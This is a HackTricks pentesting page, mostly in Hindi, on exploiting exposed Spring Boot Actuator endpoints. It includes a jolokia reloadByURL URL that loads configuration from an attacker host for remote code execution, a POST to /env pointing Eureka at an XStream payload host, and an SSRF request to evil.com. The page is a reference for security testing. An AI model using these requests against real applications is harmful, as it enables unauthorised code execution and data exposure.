Spring Actuators

Support HackTricks

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

  • Spring Boot Actuators एंडपॉइंट्स जैसे /health, /trace, /beans, /env, आदि को रजिस्टर करते हैं। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल /health और /info डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं।

  • कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं:

  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, और /heapdump

  • Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, वे /actuator/ बेस पाथ के तहत होते हैं।

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':

  • /jolokia एक्ट्यूएटर एंडपॉइंट जोलोकीया लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है।

  • reloadByURL क्रिया का उपयोग लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड करने के लिए किया जा सकता है, जो अंधे XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन की ओर ले जा सकता है।

  • उदाहरण एक्सप्लॉइट URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

  1. Config Modification via '/env':

  • यदि Spring Cloud Libraries मौजूद हैं, तो /env एंडपॉइंट पर्यावरणीय गुणों को संशोधित करने की अनुमति देता है।

  • गुणों का हेरफेर करके कमजोरियों का लाभ उठाया जा सकता है, जैसे Eureka serviceURL में XStream deserialization vulnerability।

  • उदाहरण एक्सप्लॉइट POST अनुरोध:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:

  • गुण जैसे spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, और spring.datasource.tomcat.max-active को विभिन्न एक्सप्लॉइट्स के लिए हेरफेर किया जा सकता है, जैसे SQL injection या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलना।

Additional Information:

  • डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची यहां पाई जा सकती है।

  • Spring Boot 2.x में /env एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा समान रहती है।

  1. Env + H2 RCE:

  • /env एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण यहां पाया जा सकता है।

  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

  • HTTP पथ नामों में मैट्रिक्स पैरामीटर (;) के हैंडलिंग का Spring फ्रेमवर्क सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए शोषण किया जा सकता है।

  • उदाहरण एक्सप्लॉइट अनुरोध:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Support HackTricks

Last updated